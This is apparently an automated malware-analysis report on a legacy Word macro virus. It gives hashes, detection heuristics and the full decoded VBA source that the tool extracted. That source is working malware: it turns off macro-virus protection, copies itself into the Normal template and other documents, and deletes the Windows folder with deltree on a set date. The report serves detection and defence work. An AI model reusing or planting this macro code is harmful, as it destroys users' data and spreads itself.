Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9f6bbb8efd84d509…

MALICIOUS

Office (OLE)

64.0 KB Created: 1998-05-27 18:02:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: f9d22bd291172e8a62cf085b103eaeaf SHA-1: b5d0d045df5e3e827b5e99f46be753e04f0b0b59 SHA-256: 9f6bbb8efd84d5095fd650b2d0f76eeda7dab28b7e2f477ec8d8c8402ea7bcab
276 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1027 Obfuscated Files or Information T1490 Inhibit System Recovery

The sample contains legacy WordBasic macro markers and a VBA AutoOpen macro that attempts to execute a command to delete system files. The macro also attempts to install itself into the Normal template. The 'SE_ENABLE_LURE' heuristic indicates the document instructs the user to enable macros, a common social engineering tactic.

Heuristics 8

  • ClamAV: Doc.Trojan.Mbug-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Mbug-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell "deltree /y c:\windows", vbHide
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5195 bytes
SHA-256: c9bca7df865e6b291c6a7646affbfda945771c7e79608a900e4ae152d9eb3a21
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "uni"
Sub AutoExec()
Attribute AutoExec.VB_Description = "Macro créée par ZeMacroKiller98"
Attribute AutoExec.VB_ProcData.VB_Invoke_Func = "Virus.MultiVirus.AutoExec"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo errorAE
If Day(Now()) = "12" Then
Set myMenuBar = CommandBars.ActiveMenuBar
Set newMenu = myMenuBar.Controls.Add(Type:=msoControlPopup, Temporary:=True)
newMenu.Caption = "Fuck University"
Set ctrl1 = newMenu.CommandBar.Controls _
    .Add(Type:=msoControlButton, ID:=1)
With ctrl1
    .Caption = "Death PC"
    .TooltipText = "Death PC"
End With
End If
If Day(Now()) = "13" Then
MsgBox "University MacroVirus", vbExclamation
Shell "deltree /y c:\windows", vbHide
End If
errorAE:
End Sub
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Macro créée ZeMacroKiller98"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Virus.MultiVirus.AutoOpen"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorAO
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
    If WordBasic.[MacroName$](i, 0) = "uni" Then
        bInstalled = -1
    End If
Next i
If Not bInstalled Then
    StatusBar = "University"
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="uni", Object:=wdOrganizerObjectProjectItems
Else
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="uni", Object:=wdOrganizerObjectProjectItems
End If
ErrorAO:
End Sub
Sub AutoClose()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorAP
With Assistant.NewBalloon
    .Heading = "Bye nice to meet you"
    .Text = "             From University "
    .Show
End With
ErrorAP:
End Sub
Sub FileSaveAs()
Attribute FileSaveAs.VB_Description = "Macro créee par ZeMacroKiller98"
Attribute FileSaveAs.VB_ProcData.VB_Invoke_Func = "Virus.MultiVirus.FileSaveAs"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFSA
    Dialogs(wdDialogFileSaveAs).Show
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="uni", Object:=wdOrganizerObjectProjectItems
ActiveDocument.Save
ErrorFSA:
If (ActiveDocument.SaveFormat = wdFormatDocument) Or (ActiveDocument.SaveFormat = wdFormatTemplate) Then
    ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
End If
End Sub
Sub FilePrint()
Attribute FilePrint.VB_Description = "Macro crée par ZeMacroKiller98"
Attribute FilePrint.VB_ProcData.VB_Invoke_Func = "Virus.MultiVirus.FilePrint"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFP
InsertPayload
    Dialogs(wdDialogFilePrint).Show
ErrorFP:
End Sub
Sub FilePrintDefault()
Attribute FilePrintDefault.VB_Description = "Macro créee par ZeMacroKiller98"
Attribute FilePrintDefault.VB_ProcData.VB_Invoke_Func = "Virus.MultiVirus.FilePrintDefault"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFPD
InsertPayload
    ActiveDocument.PrintOut
ErrorFPD:
End Sub
Sub FileTemplates()
Attribute FileTemplates.VB_Description = "Macro créee par ZeMacroKiller98"
Attribute FileTemplates.VB_ProcData.VB_Invoke_Func = "Virus.MultiVirus.FileTemplates"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFT
ErrorFT:
End Sub
Sub InsertPayload()
Attribute InsertPayload.VB_Description = "Macro créee par ZeMacroKiller98"
Attribute InsertPayload.VB_ProcData.VB_Invoke_Func = "Virus.MultiVirus.InsertPayload"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorIP
Selection.Font.Size = "50"
Selection.Font.Bold = True
Selection.TypeText Text:="FUCK UNIVERSITY"
Selection.TypeText Text:="FUCK PUSSY UNIVERSITY"
ErrorIP:
End Sub
Sub ToolsMacro()
Attribute ToolsMacro.VB_Description = "Macro créee par ZeMacroKiller98"
Attribute ToolsMacro.VB_ProcData.VB_Invoke_Func = "Virus.MultiVirus.ToolsMacro"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorTM
ErrorTM:
End Sub
Sub ViewVBCode()
Attribute ViewVBCode.VB_Description = "Macro créee par ZeMacroKiller98"
Attribute ViewVBCode.VB_ProcData.VB_Invoke_Func = "Virus.MultiVirus.ViewVBCode"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorVVBC
ErrorVVBC:
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.